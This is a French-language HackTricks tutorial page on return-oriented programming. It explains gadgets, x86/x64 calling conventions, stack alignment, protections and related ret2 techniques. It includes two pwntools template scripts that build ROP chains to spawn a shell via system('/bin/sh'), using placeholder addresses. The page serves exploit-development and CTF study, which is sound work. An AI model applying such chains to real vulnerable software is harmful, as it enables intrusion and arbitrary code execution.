.. | ||
ret2esp-ret2reg | ||
ret2lib | ||
rop-syscall-execv | ||
srop-sigreturn-oriented-programming | ||
brop-blind-return-oriented-programming.md | ||
README.md | ||
ret2csu.md | ||
ret2dlresolve.md | ||
ret2esp-ret2reg.md | ||
ret2vdso.md | ||
rop-syscall-execv.md | ||
srop-sigreturn-oriented-programming.md |
ROP - Return Oriented Programing
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!
Autres façons de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT !
- Obtenez le swag officiel PEASS & HackTricks
- Découvrez La famille PEASS, notre collection exclusive de NFTs
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud dépôts GitHub.
Informations de base
La programmation orientée retour (ROP) est une technique d'exploitation avancée utilisée pour contourner les mesures de sécurité telles que No-Execute (NX) ou Data Execution Prevention (DEP). Au lieu d'injecter et d'exécuter du shellcode, un attaquant exploite des morceaux de code déjà présents dans le binaire ou dans les bibliothèques chargées, appelés "gadgets". Chaque gadget se termine généralement par une instruction ret
et effectue une petite opération, telle que le déplacement de données entre les registres ou l'exécution d'opérations arithmétiques. En enchaînant ces gadgets, un attaquant peut construire une charge utile pour effectuer des opérations arbitraires, contournant ainsi efficacement les protections NX/DEP.
Fonctionnement de ROP
- Détournement du flux de contrôle : Tout d'abord, un attaquant doit détourner le flux de contrôle d'un programme, généralement en exploitant un dépassement de tampon pour écraser une adresse de retour sauvegardée sur la pile.
- Enchaînement de gadgets : L'attaquant sélectionne soigneusement et enchaîne ensuite des gadgets pour effectuer les actions souhaitées. Cela pourrait impliquer la configuration des arguments pour un appel de fonction, l'appel de la fonction (par exemple,
system("/bin/sh")
), et la gestion de tout nettoyage nécessaire ou d'opérations supplémentaires. - Exécution de la charge utile : Lorsque la fonction vulnérable retourne, au lieu de retourner à un emplacement légitime, elle commence à exécuter la chaîne de gadgets.
Outils
Typiquement, les gadgets peuvent être trouvés en utilisant ROPgadget, ropper ou directement depuis pwntools (ROP).
Exemple de chaîne ROP en x86
Conventions d'appel x86 (32 bits)
- cdecl : L'appelant nettoie la pile. Les arguments de fonction sont poussés sur la pile dans l'ordre inverse (de droite à gauche). Les arguments sont poussés sur la pile de droite à gauche.
- stdcall : Similaire à cdecl, mais c'est le destinataire qui est responsable du nettoyage de la pile.
Recherche de gadgets
Tout d'abord, supposons que nous ayons identifié les gadgets nécessaires dans le binaire ou ses bibliothèques chargées. Les gadgets qui nous intéressent sont :
pop eax; ret
: Ce gadget dépile la valeur supérieure de la pile dans le registreEAX
puis retourne, nous permettant de contrôlerEAX
.pop ebx; ret
: Similaire au précédent, mais pour le registreEBX
, permettant de contrôlerEBX
.mov [ebx], eax; ret
: Déplace la valeur dansEAX
vers l'emplacement mémoire pointé parEBX
puis retourne. C'est souvent appelé un gadget d'écriture-quoi-où.- De plus, nous avons l'adresse de la fonction
system()
disponible.
Chaîne ROP
En utilisant pwntools, nous préparons la pile pour l'exécution de la chaîne ROP comme suit en visant à exécuter system('/bin/sh')
, notez comment la chaîne commence par :
- Une instruction
ret
à des fins d'alignement (facultatif) - Adresse de la fonction
system
(en supposant que l'ASLR est désactivé et que la libc est connue, plus d'informations dans Ret2lib) - Placeholder pour l'adresse de retour de
system()
- Adresse de la chaîne
"/bin/sh"
(paramètre pour la fonction system)
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de
# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe # This could be any gadget that allows us to control the return address
# Construct the ROP chain
rop_chain = [
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
]
# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
Exemple de chaîne ROP en x64
Conventions d'appel x64 (64 bits)
- Utilise la convention d'appel System V AMD64 ABI sur les systèmes de type Unix, où les six premiers arguments entiers ou pointeurs sont passés dans les registres
RDI
,RSI
,RDX
,RCX
,R8
etR9
. Les arguments supplémentaires sont passés sur la pile. La valeur de retour est placée dansRAX
. - La convention d'appel Windows x64 utilise
RCX
,RDX
,R8
etR9
pour les quatre premiers arguments entiers ou pointeurs, les arguments supplémentaires étant passés sur la pile. La valeur de retour est placée dansRAX
. - Registres: Les registres 64 bits incluent
RAX
,RBX
,RCX
,RDX
,RSI
,RDI
,RBP
,RSP
etR8
àR15
.
Recherche de gadgets
Pour notre objectif, concentrons-nous sur les gadgets qui nous permettront de définir le registre RDI (pour passer la chaîne "/bin/sh" en argument à system()) puis d'appeler la fonction system(). Supposons que nous avons identifié les gadgets suivants :
- pop rdi; ret : Dépile la valeur supérieure de la pile dans RDI puis retourne. Essentiel pour définir notre argument pour system().
- ret : Un simple retour, utile pour l'alignement de la pile dans certains scénarios.
Et nous connaissons l'adresse de la fonction system().
Chaîne ROP
Voici un exemple utilisant pwntools pour configurer et exécuter une chaîne ROP visant à exécuter system('/bin/sh') en x64 :
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef
# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary
# Construct the ROP chain
rop_chain = [
ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here.
]
# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
Dans cet exemple :
- Nous utilisons le gadget
pop rdi; ret
pour définirRDI
sur l'adresse de"/bin/sh"
. - Nous sautons directement à
system()
après avoir définiRDI
, avec l'adresse de system() dans la chaîne. - Le gadget
ret_gadget
est utilisé pour l'alignement si l'environnement cible le nécessite, ce qui est plus courant en x64 pour assurer un alignement correct de la pile avant d'appeler des fonctions.
Alignement de la pile
L'ABI x86-64 garantit que la pile est alignée sur 16 octets lorsqu'une instruction call est exécutée. LIBC, pour optimiser les performances, utilise des instructions SSE (comme movaps) qui nécessitent cet alignement. Si la pile n'est pas correctement alignée (ce qui signifie que RSP n'est pas un multiple de 16), les appels à des fonctions comme system échoueront dans une chaîne ROP. Pour corriger cela, ajoutez simplement un gadget ret avant d'appeler system dans votre chaîne ROP.
Différence principale entre x86 et x64
{% hint style="success" %} Puisque x64 utilise des registres pour les premiers arguments, il nécessite souvent moins de gadgets que x86 pour des appels de fonction simples, mais trouver et chaîner les bons gadgets peut être plus complexe en raison du nombre accru de registres et de l'espace d'adressage plus grand. Le nombre accru de registres et l'espace d'adressage plus grand dans l'architecture x64 offrent à la fois des opportunités et des défis pour le développement d'exploits, en particulier dans le contexte de la Programmation Orientée Retour (ROP). {% endhint %}
Exemple de chaîne ROP en ARM64
Bases ARM64 & Conventions d'appel
Consultez la page suivante pour ces informations :
{% content-ref url="../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %} arm64-basic-assembly.md {% endcontent-ref %}
Protections contre la ROP
- ASLR & PIE : Ces protections rendent plus difficile l'utilisation de la ROP car les adresses des gadgets changent entre les exécutions.
- Canaris de pile : En cas de dépassement de tampon, il est nécessaire de contourner les canaris de pile pour écraser les pointeurs de retour et abuser d'une chaîne ROP.
- Manque de Gadgets : S'il n'y a pas suffisamment de gadgets, il ne sera pas possible de générer une chaîne ROP.
Techniques basées sur la ROP
Remarquez que la ROP est juste une technique pour exécuter du code arbitraire. Basé sur la ROP, de nombreuses techniques Ret2XXX ont été développées :
- Ret2lib : Utilise la ROP pour appeler des fonctions arbitraires à partir d'une bibliothèque chargée avec des paramètres arbitraires (généralement quelque chose comme
system('/bin/sh')
.
{% content-ref url="ret2lib/" %} ret2lib {% endcontent-ref %}
- Ret2Syscall : Utilise la ROP pour préparer un appel à un syscall, par exemple
execve
, et lui faire exécuter des commandes arbitraires.
{% content-ref url="rop-syscall-execv/" %} rop-syscall-execv {% endcontent-ref %}
- EBP2Ret & EBP Chaining : Le premier abuse de EBP au lieu de EIP pour contrôler le flux et le second est similaire à Ret2lib mais dans ce cas, le flux est principalement contrôlé avec les adresses EBP (bien qu'il soit également nécessaire de contrôler EIP).
{% content-ref url="../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md" %} stack-pivoting-ebp2ret-ebp-chaining.md {% endcontent-ref %}
Autres exemples & Références
- https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions
- https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html
- 64 bits, Pie et nx activé, pas de canari, écrasement de RIP avec une adresse
vsyscall
dans le seul but de retourner à l'adresse suivante dans la pile qui sera un écrasement partiel de l'adresse pour obtenir la partie de la fonction qui divulgue le drapeau - https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64, pas d'ASLR, gadget ROP pour rendre la pile exécutable et sauter au shellcode dans la pile